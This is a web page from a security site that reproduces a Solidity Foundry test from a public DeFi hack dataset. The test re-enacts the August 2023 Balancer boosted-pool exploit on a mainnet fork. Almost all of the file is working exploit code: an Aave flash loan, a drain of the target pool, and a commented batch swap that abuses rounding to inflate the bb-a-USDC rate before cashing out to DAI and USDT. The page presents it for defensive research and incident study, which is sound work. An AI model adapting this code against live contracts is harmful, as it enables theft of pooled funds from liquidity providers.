Public reproduction file
src/test/2023-08/Balancer_exp.sol
Public reproduction file for dataset entry Balancer.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/console.sol";5import "forge-std/Test.sol";6import "../test/../interface.sol";8// @KeyInfo - Total Lost : ~2M9// Attacker : https://etherscan.io/address/0xed187f37e5ad87d5b3b2624c01de56c5862b7a9b10// Attack Contract : https://etherscan.io/address/0x2100dcd8758ab8b89b9b545a43a1e47e8e2944f011// Vulnerable Contract : https://etherscan.io/address/0x9210f1204b5a24742eba12f710636d76240df3d012// Attack Tx : https://etherscan.io/tx/0x2a027c8b915c3737942f512fc5d26fd15752d0332353b3059de771a35a606c2d14// @Info15// Vulnerable Contract Code : https://etherscan.io/address/0x9210f1204b5a24742eba12f710636d76240df3d0#code17// @Analysis18// Post-mortem : https://blocksecteam.medium.com/yet-another-risk-posed-by-precision-loss-an-in-depth-analysis-of-the-recent-balancer-incident-fad93a3c75d419// Post-mortem : https://medium.com/balancer-protocol/rate-manipulation-in-balancer-boosted-pools-technical-postmortem-53db4b64249220// Twitter Guy : https://twitter.com/wavey0x/status/170231145468935785122interface BBToken is IERC20 {23 function getVirtualSupply() external view returns (uint256);24}26contract ContractTest is Test {27 IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);28 IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);29 IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);30 IAaveFlashloan aave = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);31 IERC20 aUSDC = IERC20(0xd093fA4Fb80D09bB30817FDcd442d4d02eD3E5de);32 IERC20 aDAI = IERC20(0x02d60b84491589974263d922D9cC7a3152618Ef6);33 Uni_Router_V2 Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);34 IBalancerVault balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);35 BBToken bbaUSDC = BBToken(0x9210F1204b5a24742Eba12f710636D76240dF3d0);36 BBToken bbaDAI = BBToken(0x804CdB9116a10bB78768D3252355a1b18067bF8f);37 BBToken bbaUSDT = BBToken(0x2BBf681cC4eb09218BEe85EA2a5d3D13Fa40fC0C);38 IERC20 bbaUSD = IERC20(0x7B50775383d3D6f0215A8F290f2C9e2eEBBEceb2);40 function setUp() public {41 vm.createSelectFork("mainnet", 18_004_651);42 vm.label(address(USDT), "USDT");43 vm.label(address(USDC), "USDC");44 vm.label(address(DAI), "DAI");45 vm.label(address(aave), "AAVE");46 vm.label(address(balancer), "Balancer");47 vm.label(address(bbaUSDC), "bb-a-USDC");48 vm.label(address(bbaDAI), "bb-a-DAI");49 vm.label(address(bbaUSD), "bb-a-USD");50 vm.label(address(bbaUSDT), "bb-a-USDT");51 vm.label(address(Router), "Router");52 }54 function testExploit() public {55 address[] memory assets = new address[](1);56 assets[0] = address(USDC);57 uint256[] memory amounts = new uint256[](1);58 amounts[0] = 300_000 * 1e6;59 uint256[] memory interestRateModes = new uint256[](2);60 interestRateModes[0] = 0;61 interestRateModes[1] = 0;62 aave.flashLoan(address(this), assets, amounts, interestRateModes, address(this), bytes(""), 0);64 emit log_named_decimal_uint(65 "Attacker USDT balance after exploit", USDT.balanceOf(address(this)), USDT.decimals()66 );68 emit log_named_decimal_uint("Attacker DAI balance after exploit", DAI.balanceOf(address(this)), DAI.decimals());69 }71 function executeOperation(72 address[] calldata assets,73 uint256[] calldata amounts,74 uint256[] calldata premiums,75 address initiator,76 bytes calldata params77 ) external returns (bool) {78 bytes32 targetPool = 0x9210f1204b5a24742eba12f710636d76240df3d00000000000000000000000fc; // bb-a-USDC, USDC, aUSDC pool79 bytes32 bbaUSDPool = 0x7b50775383d3d6f0215a8f290f2c9e2eebbeceb20000000000000000000000fe; // bb-a-USDC, bb-a-DAI, bb-a-USDT pool81 // 1 drain all aUSDC from target pool82 {83 (, uint256[] memory poolBalance,) = balancer.getPoolTokens(targetPool);84 USDC.approve(address(balancer), type(uint256).max);85 balancer.swap(86 IBalancerVault.SingleSwap(87 targetPool,88 IBalancerVault.SwapKind.GIVEN_OUT,89 address(USDC),90 address(aUSDC),91 poolBalance[2],92 bytes("")93 ),94 IBalancerVault.FundManagement(address(this), false, payable(address(this)), false),95 amounts[0],96 block.timestamp97 );98 }100 uint256 virtualSupply = bbaUSDC.getVirtualSupply();102 // 2 batch swap103 bbaUSDC.approve(address(balancer), type(uint256).max);104 {105 address[] memory assets = new address[](8);106 assets[0] = address(USDC);107 assets[1] = address(aUSDC);108 assets[2] = address(bbaUSDC);109 assets[3] = address(bbaDAI);110 assets[4] = address(DAI);111 assets[5] = address(aDAI);112 assets[6] = address(bbaUSD);113 assets[7] = address(bbaUSDT);114 int256[] memory limits = new int256[](8);115 limits[0] = type(int256).max;116 limits[1] = type(int256).max;117 limits[2] = type(int256).max;118 limits[3] = type(int256).max;119 limits[4] = type(int256).max;120 limits[5] = type(int256).max;121 limits[6] = type(int256).max;122 limits[7] = type(int256).max;124 IBalancerVault.BatchSwapStep[] memory steps = new IBalancerVault.BatchSwapStep[](7);125 steps[0] = IBalancerVault.BatchSwapStep(126 targetPool, 2, 0, virtualSupply - 775_114_420_171 - 20_000_000_000, bytes("")127 ); // bb-a-USDC -> USDC borrow bb-a-usdc by batchswap, burn almost all virtualSupply, make rate manipulation easier128 steps[1] = IBalancerVault.BatchSwapStep(targetPool, 2, 0, 775_114_420_171, bytes("")); // bb-a-USDC -> USDC swap out zero USDC due to precision loss, inflate share(bb-a-usdc) price129 steps[2] = IBalancerVault.BatchSwapStep(bbaUSDPool, 2, 3, 1e18, bytes("")); // bb-a-USDC -> bb-a-DAI updating inflated prices to the cache130 steps[3] = IBalancerVault.BatchSwapStep(bbaUSDPool, 2, 3, 7300 * 1e18, bytes("")); // bb-a-USDC -> bb-a-DAI profit by exchanging bb-a-usdc after manipulated price131 steps[4] = IBalancerVault.BatchSwapStep(bbaUSDPool, 2, 7, 14_000 * 1e18, bytes("")); // bb-a-USDC -> bb-a-USDT profit by exchanging bb-a-usdc after manipulated price132 steps[5] = IBalancerVault.BatchSwapStep(targetPool, 2, 0, 20_000_000_000, bytes("")); // bb-a-USDC -> USDC Bring virtualSupply to 0, reset bb-a-usdc price to 1133 steps[6] = IBalancerVault.BatchSwapStep(targetPool, 0, 2, 150_000 * 1e6, bytes("")); // USDC -> bb-a-USDC repay batch swap borrow134 balancer.batchSwap(135 IBalancerVault.SwapKind.GIVEN_IN,136 steps,137 assets,138 IBalancerVault.FundManagement(address(this), false, payable(address(this)), false),139 limits,140 2 ** 32141 );142 }144 // 3 swap bb-token to USDC/DAI/USDT146 uint256 repayAmount = amounts[0] + premiums[0];147 bbtokenTo_USDC_DAI_USDT(repayAmount);149 USDC.approve(address(aave), repayAmount);151 return true;152 }154 function bbtokenTo_USDC_DAI_USDT(155 uint256 repayAmount156 ) internal {157 bytes32 targetPool = 0x9210f1204b5a24742eba12f710636d76240df3d00000000000000000000000fc;158 bytes32 bbaDAIPool = 0x804cdb9116a10bb78768d3252355a1b18067bf8f0000000000000000000000fb;159 bytes32 bbaUSDTPool = 0x2bbf681cc4eb09218bee85ea2a5d3d13fa40fc0c0000000000000000000000fd;161 // swap bb-a-dai to DAI162 bbaDAI.approve(address(balancer), type(uint256).max);163 balancer.swap(164 IBalancerVault.SingleSwap(165 bbaDAIPool,166 IBalancerVault.SwapKind.GIVEN_IN,167 address(bbaDAI),168 address(DAI),169 bbaDAI.balanceOf(address(this)),170 bytes("")171 ),172 IBalancerVault.FundManagement(address(this), false, payable(address(this)), false),173 0,174 block.timestamp175 );177 // swap bb-a-usdc to USDC178 bbaUSDC.approve(address(balancer), type(uint256).max);179 balancer.swap(180 IBalancerVault.SingleSwap(181 targetPool,182 IBalancerVault.SwapKind.GIVEN_IN,183 address(bbaUSDC),184 address(USDC),185 bbaUSDC.balanceOf(address(this)),186 bytes("")187 ),188 IBalancerVault.FundManagement(address(this), false, payable(address(this)), false),189 0,190 block.timestamp191 );193 // swap bb-a-usdt to USDT194 bbaUSDT.approve(address(balancer), type(uint256).max);195 balancer.swap(196 IBalancerVault.SingleSwap(197 bbaUSDTPool,198 IBalancerVault.SwapKind.GIVEN_IN,199 address(bbaUSDT),200 address(USDT),201 bbaUSDT.balanceOf(address(this)),202 bytes("")203 ),204 IBalancerVault.FundManagement(address(this), false, payable(address(this)), false),205 0,206 block.timestamp207 );209 // swap DAI to USDC, repay flashloan210 uint256 amount = repayAmount - USDC.balanceOf(address(this));211 DAI.approve(address(Router), type(uint256).max);212 address[] memory path = new address[](2);213 path[0] = address(DAI);214 path[1] = address(USDC);215 Router.swapTokensForExactTokens(amount, DAI.balanceOf(address(this)), path, address(this), block.timestamp);216 }218 receive() external payable {}219}Analysis
Dataset entry
Public Foundry test for “Balancer” (2023-08-27). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
17 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-08/BTC20_exp.solSame month in the dataset · 128 lines
- src/test/2023-08/CurveBurner_exp.solSame month in the dataset · 151 lines
- src/test/2023-08/EAC_exp.solSame month in the dataset · 54 lines
- src/test/2023-08/EarningFram_exp.solSame month in the dataset · 95 lines
- src/test/2023-08/EHIVE_exp.solSame month in the dataset · 142 lines
- src/test/2023-08/Exactly_exp.solSame month in the dataset · 479 lines
- src/test/2023-08/GSS_exp.solSame month in the dataset · 62 lines
- src/test/2023-08/Leetswap_exp.solSame month in the dataset · 66 lines
- src/test/2023-08/NeutraFinance_exp.solSame month in the dataset · 413 lines
- src/test/2023-08/SVT_exp.solSame month in the dataset · 58 lines
- src/test/2023-08/Uwerx_exp.solSame month in the dataset · 72 lines
- src/test/2023-08/Zunami_exp.solSame month in the dataset · 200 lines
- src/test/2026-04/AaveRebalancerCreditDelegation_exp.solSame protocol or name in the dataset · 126 lines
- src/test/2020-06/Balancer_20200628_exp.solSame protocol or name in the dataset · 235 lines
- src/test/2026-08/BalancerV1BPool_exp.solSame protocol or name in the dataset · 230 lines
- src/test/2025-11/BalancerV2_exp.solSame protocol or name in the dataset · 459 lines
- src/test/2023-11/RBalancer_exp.solSame protocol or name in the dataset · 49 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xed187f37e5ad87d5b3b2624c01de56c5862b7a9b
- Attack Contract
0x2100dcd8758ab8b89b9b545a43a1e47e8e2944f0
- Vulnerable Contract
0x9210f1204b5a24742eba12f710636d76240df3d0
- Attack Tx
0x2a027c8b915c3737942f512fc5d26fd15752d0332353b3059de771a35a606c2d
- Post: https://blocksecteam.medium.com/yet-another-risk-posed-by-precision-loss-an-in-depth-analysis-of-the-recent-balancer-incident-fad93a3c75d4
- Post: https://medium.com/balancer-protocol/rate-manipulation-in-balancer-boosted-pools-technical-postmortem-53db4b642492
- Twitter: https://twitter.com/wavey0x/status/1702311454689357851
- Explorer: https://etherscan.io/address/0xed187f37e5ad87d5b3b2624c01de56c5862b7a9b
- Explorer: https://etherscan.io/address/0x2100dcd8758ab8b89b9b545a43a1e47e8e2944f0
- Explorer: https://etherscan.io/address/0x9210f1204b5a24742eba12f710636d76240df3d0
- Explorer: https://etherscan.io/address/0x9210f1204b5a24742eba12f710636d76240df3d0#code
File record
- Name
- Balancer
- Path
- src/test/2023-08/Balancer_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 4e3ceb72aeb3ca5991f7bccabf8293a610a5d472
- Language
- Solidity
- Size
- 220 lines
- Date
- 2023-08-27
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-08/Balancer_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4e3ceb72aeb3ca5991f7bccabf8293a610a5d472, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.